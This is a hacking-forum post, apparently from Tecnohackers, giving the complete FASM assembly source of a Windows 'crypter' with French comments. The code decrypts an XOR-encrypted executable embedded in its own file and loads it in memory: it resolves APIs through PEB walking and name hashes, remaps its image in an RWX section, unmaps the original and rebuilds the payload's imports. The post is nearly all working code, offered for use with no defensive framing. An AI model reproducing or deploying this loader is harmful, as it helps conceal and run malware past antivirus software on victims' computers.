Bienvenido a Tecnohackers

Tecnohackers » Programacion » Area de Programacion » Programacion a Bajo Nivel. APIs, Hooking, ASM, C/C++, etc.
 » 

FASM Crypter - ASM



Autor Tema: FASM Crypter - ASM  (Leído 1156 veces)

Desconectado zolo

  • Consigliere
  • Master
  • *****
  • Mensajes: 23032
  • Un Mes, Un Año o Toda Una Vida, Da Igual, Estare
FASM Crypter - ASM
« en: Febrero 23, 2016, 07:17:07 am »
Código: You are not allowed to view links. Register or Login
########################################################################################
########################################################################################
#+-
#+- Name: FASM Crypter
#+- Author: Xash
#+- Description:  FASM Crypter without CreateProcess
#+- 
########################################################################################
########################################################################################
 

Código: You are not allowed to view links. Register or Login
;-------------------------------------------------
; Projet: FASM Cryter
; Auteur: Xash
;-------------------------------------------------

format PE GUI 4.0
entry start
include 'include\win32w.inc'
include 'structs.inc'

;-------------------------------------------------
; code
  section '.code' code readable writable executable
;-------------------------------------------------

;-------------------------------------------------
; Start - Point d'entré du programme
;-------------------------------------------------
start:
    call delta

delta:
    pop ebp                             ; Adresse absolu de delta
    sub ebp, delta                      ; Désormais relative
   
    mov [ebp+dwBoot], esi                ; Pour savoir dans quel page on est (voir NtCreateSection)
   
    lea eax, [ebp+GetKernel32]
    call eax
    cmp word [eax], 5A4Dh
    jne exit                            ; Si la signature est corrompu, on quitte
    mov dword [ebp+dwKernel32], eax     ; On sauvegarde son adresse
    mov esi, eax                        ; Yop, stocké dans ESI ça sera plus pratique !
   
    mov ebx, [esi+3Ch]                  ; DosHeader.e_lfanew
    add esi, ebx                        ; On passe au PE Header
    cmp dword [esi], 4550h
    jne exit                            ; Si la signature est corrompu, on quitte
   
    mov ebx, [esi+78h]                  ; PeHeader.EAT.VirtualAdress
    mov esi, dword [ebp+dwKernel32]     ; Le RVA se calcule à partir du DOS Header
    add esi, ebx                        ; On a trouvé l'EAT \o/
   
    mov ecx, [esi+18h]                  ; EAT.NumberOfNames
    mov dword [ebp+dwNumberOfNames], ecx
    mov ecx, [esi+1Ch]                  ; EAT.AddressOfFunctions
    mov dword [ebp+dwFunctions], ecx
    mov ecx, [esi+24h]                  ; EAT.AddressOfNameOrdinals
    mov dword [ebp+dwNameOrdinals], ecx
    mov esi, [esi+20h]                  ; EAT.AddressOfNames
    add esi, dword [ebp+dwKernel32]     ; ESI contient maintenant la table des noms
   
    xor ecx, ecx
    NameLoop:
        mov edx, [esi]                  ; EDX contient le RVA du nom
        add edx, dword [ebp+dwKernel32] ; VA
       
        ;-------------------
        push ecx
        push esi                        ; On sauvegarde nos valeurs
       
        push edx                        ; On pousse le nom sur la pile
        lea eax, [ebp+DjbHash]
        call eax                        ; On appel DjbHash - EAX va contenir le hash
       
        pop esi
        pop ecx                            ; On récupére nos valeurs
        ;-------------------
       
        cmp eax, [ebp+dwHashGetProcAddress]
        je LoadApi
       
        add esi, 4                      ; On passe au nom suivant
        inc ecx
        cmp ecx, dword [ebp+dwNumberOfNames] ; On a vue toutes les fonctions ?
    jne NameLoop
   
    LoadApi:
   
    mov esi, dword [ebp+dwNameOrdinals]    ; EAT.AddressOfNameOrdinals
    add esi, dword [ebp+dwKernel32]        ; On passe à une VA
    xor eax, eax
    mov ax, word [esi+ecx*2]            ; On choppe son ordinal
    mov esi, dword [ebp+dwFunctions]    ; EAT.AddressOfFunctions
    add esi, dword [ebp+dwKernel32]        ; On passe à une VA
    mov esi, dword [esi+eax*4]            ; Yop, on a le RVA de la fonction
    add esi, dword [ebp+dwKernel32]        ; On passe à une VA -> WIN \o/
    mov [ebp+dwGetProcAddress], esi
   
    ;--------------------------------
   
    lea eax, [ebp+GetNtdll]
    call eax
    mov [ebp+dwNtdll], eax                ; On a l'adresse de NTDLL
   
    ;{
    lea eax, [ebp+szNtCreateSection]
    push eax
    push [ebp+dwNtdll]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwNtCreateSection], eax    ; NtCreateSection
    ;}{
    ;}{
    lea eax, [ebp+szNtMapViewOfSection]
    push eax
    push [ebp+dwNtdll]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwNtMapViewOfSection], eax    ; NtMapViewOfSection
    ;}{
    lea eax, [ebp+szNtUnmapViewOfSection]
    push eax
    push [ebp+dwNtdll]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwNtUnmapViewOfSection], eax    ; NtUnmapViewOfSection
    ;}{
    lea eax, [ebp+szGetCurrentProcess]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwGetCurrentProcess], eax    ; GetCurrentProcess
    ;}{
    lea eax, [ebp+szVirtualAlloc]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwVirtualAlloc], eax    ; VirtualAlloc
    ;}{
    lea eax, [ebp+szGetModuleHandleW]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwGetModuleHandleW], eax    ; GetModuleHandleW
    ;}{
    lea eax, [ebp+szLoadLibraryA]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwLoadLibraryA], eax    ; LoadLibraryA
    ;}{
    lea eax, [ebp+szGetLastError]
    push eax
    push [ebp+dwKernel32]
    call [ebp+dwGetProcAddress]
    mov [ebp+dwGetLastError], eax    ; GetLastError
    ;}
   
    ;--------------------------------
   
    ; Si on a déjà mappé et déchiffré notre fichier, on passe tout ça
    cmp [ebp+dwBoot], 0xB007
    je mapped
   
    ; On va récupérer notre fichier :)
    push 0
    call [ebp+dwGetModuleHandleW]
    mov [ebp+dwModule], eax
   
    mov esi, eax                                                        ; EAX contient dwModule
    mov esi, [esi_DosHeader.e_lfanew]
    add esi, [ebp+dwModule]                                                ; On arrive aux NT HEADERS
    lea eax, [sizeof.IMAGE_NT_HEADERS + 1*sizeof.IMAGE_SECTION_HEADER]    ; 2nd section
    add esi, eax                                                        ; On arrive dans la table des sections
   
    mov eax, [esi_SectionHeader.dwVirtualAddress]
    add eax, [ebp+dwModule]
    mov [ebp+dwFile], eax            ; On a la VA du fichier de notre section
    mov eax, [esi_SectionHeader.dwSizeOfRawData]
    mov [ebp+dwFileSize], eax        ; La taille du fichier chiffré   
   
    ;----- Section n°4 ------
    ;----| Clé | Fichier |---
    ;------------------------
    mov eax, [ebp+dwFile]
    mov eax, dword [eax]             ; On récupére la clé
    mov dword [ebp+dwKey], eax
    add dword [ebp+dwFile], 4        ; Le fichier commence après la clé
   
    ; On déchiffre le fichier (XOR DWORD)
    mov eax, [ebp+dwKey]
    mov edx, [ebp+dwFile]
    mov edi, edx
    add edi, [esi_SectionHeader.dwSizeOfRawData] ; EDI contient l'adresse de fin du fichier
    decrypt:
        xor dword [edx], eax
        add edx, 4                ; On avance dans les données
        cmp edx, edi            ; Fin du fichier ?
    jne decrypt

    ;---------------------------------------------------------------
    ; Le fichier est déchiffré, on attaque le chargement en mémoire
   
    ; On map une nouvelle section en mémoire
    mov [ebp+maxSize.dwHighPart], 0
    lea eax, [EOF - start]                ; La taille de notre code
    add eax, [ebp+dwFileSize]            ; La taille du fichier
    mov [ebp+maxSize.dwLowPart], eax     ; La taille maximum de la page
    lea ebx, [ebp+maxSize]
    lea eax, [ebp+hSection]
   
    push 0
    push SEC_COMMIT
    push PAGE_EXECUTE_READWRITE
    push ebx                            ; maxSize
    push 0
    push SECTION_ALL_ACCESS
    push eax                            ; hSection
    call [ebp+dwNtCreateSection]        ; On récupére notre section
   
    lea edx, [ebp+dwSectionBaseAddr]
    mov [ebp+dwViewSize], 0                ; On va visualiser toute la section
    lea ebx, [ebp+dwViewSize]
    call [ebp+dwGetCurrentProcess]       
   
    push PAGE_EXECUTE_READWRITE
    push 0
    push 1                                ; ViewShare
    push ebx                            ; dwViewSize
    push 0
    push 0
    push 0
    push edx                            ; dwSectionBaseAddr
    push eax                            ; GetCurrentProcess()
    push [ebp+hSection]
    call [ebp+dwNtMapViewOfSection]        ; Maintenant on la map
   
    ; On va copier notre loader dans la nouvelle section
    lea eax, [EOF - start]                ; La taille de notre code
    mov edi, [ebp+dwSectionBaseAddr]
    add edi, eax                        ; Le fichier va commencer après notre loader
    mov esi, [ebp+dwFile]                ; On le sauvegarde car on en aura besoin après
    mov [ebp+dwFile], edi                ; Le nouveau pointeur sur le fichier
   
    lea ebx, [ebp+start]                ; L'adresse du début du shellcode
    push eax                            ; Size
    push ebx                            ; Source - start
    push [ebp+dwSectionBaseAddr]        ; Destination
    lea eax, [ebp+MemCpy]
    call eax                            ; memcpy() - Notre shellcode

    ; On copie notre fichier dans la nouvelle section
    push [ebp+dwFileSize]                ; Size
    push esi                            ; Source - ancien dwFile
    push edi                            ; Destination   
    lea eax, [ebp+MemCpy]
    call eax                            ; memcpy() - Le fichier à charger
   
    mov [ebp+dwFile], edi                ; On met à jour le pointeur vers le fichier
   
    ; On modifie notre ImageBase dans le PEB
    mov eax, [fs:30h]               ; PEB
    mov edx, [ebp+dwSectionBaseAddr]
    mov [eax+8], edx                ; ImageBase (voir struct du PEB)
   
    ; On "boot" désormais
    mov eax, [ebp+dwSectionBaseAddr]
    mov esi, 0xB007                        ; BOOT! :D
    jmp eax
   
    ;--------------------------------
    mapped:   
   
    ; On démappe notre section de base
    call [ebp+dwGetCurrentProcess]   
    mov [ebp+hProcess], eax
   
    push 0x400000                        ; BaseAddress
    push [ebp+hProcess]                    ; ProcessHandle
    call [ebp+dwNtUnmapViewOfSection]     ; On supprime notre process de base
   
    ; On récupére quelques infos
    mov esi, [ebp+dwFile]                ; ESI contient donc le DOS Header
    add esi, [esi_DosHeader.e_lfanew]            ; Maintenant les NT Headers
    mov eax, [esi_NtHeaders.dwAddressOfEntryPoint]
    mov [ebp+dwEntryPoint], eax
   
    ; On commence par allouer la place demandée   
    push PAGE_EXECUTE_READWRITE
    push MEM_COMMIT or MEM_RESERVE
    push [esi_NtHeaders.dwSizeOfImage]
    push [esi_NtHeaders.dwImageBase]
    call [ebp+dwVirtualAlloc]
    mov [ebp+dwFileImageBase], eax
    call [ebp+dwGetLastError]
   
    ; On place les headers
    push [esi_NtHeaders.dwSizeOfHeaders]    ; Size
    push [ebp+dwFile]                ; Source
    push [ebp+dwFileImageBase]        ; Destination
    lea eax, [ebp+MemCpy]
    call eax
   
    xor ecx, ecx
    mov cx, [esi_NtHeaders.wNumberOfSections]
    add esi, sizeof.IMAGE_NT_HEADERS                    ; ESI contient la table des sections
    loopSections:
        mov eax, [esi_SectionHeader.dwPointerToRawData] ; La RVA de la section
        add eax, [ebp+dwFile]                            ; VA
        mov edi, [esi_SectionHeader.dwVirtualAddress]     ; Où on doit le copier (RVA)
        add edi, [ebp+dwFileImageBase]                    ; VA
   
        push [esi_SectionHeader.dwSizeOfRawData]    ; Size
        push eax                                    ; Source
        push edi                                    ; Destination
        lea eax, [ebp+MemCpy]   
        call eax                                    ; memcpy() - On copie le contenu de la section
       
        add esi, sizeof.IMAGE_SECTION_HEADER     ; Section suivante
        dec ecx
        test ecx, ecx
    jne loopSections
   
    ; On modifie notre ImageBase dans le PEB
    mov eax, [fs:30h]               ; PEB
    mov edx, [ebp+dwFileImageBase]
    mov [eax+8], edx                ; ImageBase (voir struct du PEB)
   
    ; On charge l'IAT
    mov esi, [ebp+dwFileImageBase]
    add esi, [esi_DosHeader.e_lfanew]    ; NT Headers
    mov esi, [esi_NtHeaders.dwImportTableAddress] ; RVA de l'Import Table
    add esi, [ebp+dwFileImageBase]        ; VA de l'IAT
    nextDll:
        mov eax, [esi_ImportDesc.dwName1]
        add eax, [ebp+dwFileImageBase]    ; On a récupéré le nom de la DLL
        push eax
        call [ebp+dwLoadLibraryA]        ; On charge la DLL et/ou on récupére son adresse
        mov [ebp+dwCurrentDLL], eax                    ; On sauvegarde l'adresse de la DLL
   
        mov eax, [esi_ImportDesc.dwOriginalFirstThunk]
        test eax, eax                                     ; Si OriginalFirstThunk est vide
        jne noBorland
        mov eax, [esi_ImportDesc.dwFirstThunk]            ; On utilise FirstThunk (Borland alakon)
        noBorland:
        add eax, [ebp+dwFileImageBase]
        mov [ebp+dwOriginalFirstThunk], eax        ; On récupére le VA du OriginalFirstThunk   
        mov eax, [esi_ImportDesc.dwFirstThunk]
        add eax, [ebp+dwFileImageBase]
        mov [ebp+dwFirstThunk], eax                ; On récupére le VA du FirstThunk
       
        nextAPI:
            mov eax, [ebp+dwOriginalFirstThunk]            ; EAX contient un IMAGE_THUNK_DATA32 (VA)
            mov eax, [eax_ThunkData.dwAddressOfData]     ; EAX contient un IMAGE_IMPORT_BY_NAME (RVA)
           
            test eax, IMAGE_ORDINAL_FLAG32                ; Exporté par ordinal ?
            je importByName
           
            importByOrdinal:
            and eax, 0x0FFFF ; On garde que le LSB
            jmp searchAPI
           
            importByName:
            add eax, [ebp+dwFileImageBase]    ; VA
           
            searchAPI:
            lea edi, [eax_ImportByName.dwName1]
            push edi                    ; Le nom de l'API
            push [ebp+dwCurrentDLL]        ; La DLL
            call [ebp+dwGetProcAddress]    ; On récupére son adresse
       
            mov ebx, [ebp+dwFirstThunk]
            mov [ebx], eax                ; On met à jour le FirstThunk avec l'adresse de la fonction
       
            add [ebp+dwOriginalFirstThunk], sizeof.IMAGE_THUNK_DATA32     ; Prochain dwOriginalFirstThunk
            add [ebp+dwFirstThunk], sizeof.IMAGE_THUNK_DATA32             ; Prochain FirstThunk
            mov eax, [ebp+dwOriginalFirstThunk]                         ; On récupére la VA de l'OFT
            mov eax, [eax_ThunkData.dwAddressOfData]                    ; Son contenu
        test eax, eax                                                        ; Si il est nul, on est à la dernière API
        jne nextAPI   
       
        add esi, sizeof.IMAGE_IMPORT_DESCRIPTOR ; DLL suivante
    cmp [esi_ImportDesc.dwFirstThunk], 0
    jne nextDll
   
    ; On saute sur notre point d'entrée
    mov eax, [ebp+dwFileImageBase]
    add eax, [ebp+dwEntryPoint]
    jmp eax
   
exit:
    ret

;-------------------------------------------------
;-------------------------------------------------
   
startInfo STARTUPINFO
procInfo PROCESS_INFORMATION
ctx CONTEXT
   
dwNtdll dd 0
dwKernel32 dd 0
dwNumberOfNames dd 0
dwFunctions dd 0
dwNameOrdinals dd 0
dwHashGetProcAddress dd 0xCF31BB1F
dwGetProcAddress dd 0

szNtCreateSection db 'NtCreateSection', 0
szNtMapViewOfSection db 'NtMapViewOfSection', 0 
szNtUnmapViewOfSection db 'NtUnmapViewOfSection', 0 
szGetCurrentProcess db 'GetCurrentProcess', 0
szVirtualAlloc db 'VirtualAlloc', 0
szGetModuleHandleW db 'GetModuleHandleW', 0
szLoadLibraryA db 'LoadLibraryA', 0
szGetLastError db 'GetLastError', 0 
;--
dwNtCreateSection dd 0
dwNtMapViewOfSection dd 0
dwNtUnmapViewOfSection dd 0
dwGetCurrentProcess dd 0
dwVirtualAlloc dd 0
dwGetModuleHandleW dd 0
dwLoadLibraryA dd 0
dwGetLastError dd 0

dwFile dd 0
dwFileSize dd 0
dwKey dd 0
dwFileImageBase dd 0

hSection dd 0
align 8
maxSize LARGE_INTEGER 0
dwSectionBaseAddr dd 0
dwViewSize dd 0
dwBoot dd 0                ; Permet de vérifier si on a déjà tout mappé
hProcess dd 0
dwEntryPoint dd 0
dwModule dd 0

dwOriginalFirstThunk dd 0
dwFirstThunk dd 0
dwCurrentDLL dd 0

;-------------------------------------------------
; GetNtdll - Récupére l'adresse de ntdll.dll
; via le PEB du processure (2nd entrée)
;-------------------------------------------------
proc GetNtdll
    mov eax, [fs:30h]       ; PEB
    mov eax, [eax + 0Ch]    ; PEB->Ldr
    mov eax, [eax + 14h]    ; PEB->Ldr.InMemoryOrderModuleList.Flink (1ére entrée)
    mov eax, [eax]            ; 2nd entrée (ntdll.dll)
    mov eax, [eax + 10h]    ; Adresse de base de la 2nd entrée
               
    ret
endp

;-------------------------------------------------
; GetKernel32 - Récupére l'adresse de kernel32.dll
; via le PEB du processure (3éme entrée)
;-------------------------------------------------
proc GetKernel32
    mov eax, [fs:30h]       ; PEB
    mov eax, [eax + 0Ch]    ; PEB->Ldr
    mov eax, [eax + 14h]    ; PEB->Ldr.InMemoryOrderModuleList.Flink (1ére entrée)
    mov eax, [eax]            ; 2nd entrée (ntdll.dll)
    mov eax, [eax]            ; 3éme entrée (kernel32.dll)
    mov eax, [eax + 10h]    ; Adresse de base de la 3éme entrée
               
    ret
endp

;-------------------------------------------------
; DjbHash - Permet d'hasher via DJB
; p°1: Contient un pointeur vers le string
;-------------------------------------------------
proc DjbHash
    mov esi, [esp+4]
    mov eax, 5381d          ; 2^32
   
    hLoop:
        mov ebx, eax        ; On le sauvegarde
        shl eax, 5            ; eax << 5
        add eax, ebx        ; eax + ancien eax
       

        movzx ecx, byte[esi]    ; Obligé pour gérer la retenue
        add eax, ecx            ; On ajoute le caractére
       
        inc esi                ; str++
        cmp byte [esi], 0      ; Fin de la chaîne
        jne hLoop
       
    retn 4
endp

;-------------------------------------------------
; MemCpy - Equivalent du memcpy du C
;-------------------------------------------------
proc MemCpy, lpDest, lpSource, Count
    push esi edi ecx
    mov esi, [lpSource]
    mov edi, [lpDest]
    mov ecx, [Count]
   
    test ecx, ecx    ; Si la taille est nulle
    je endCopy     ; On quitte
   
    copyLoop:
        mov al, byte [esi]
        mov byte [edi], al
        inc edi
        inc esi
        dec ecx
        test ecx, ecx
    jne copyLoop

    endCopy:
    pop ecx edi esi
    ret
endp

EOF:
 

Fuente: Zephomet / el-hacker
You are not allowed to view links. Register or Login

Tags:
Tags:

 


SMF 2.0.19 | SMF © 2016, Simple Machines
Paginas Afiliadas
Twitter - FaceBook - Daraxblog
Designed by Smf Personal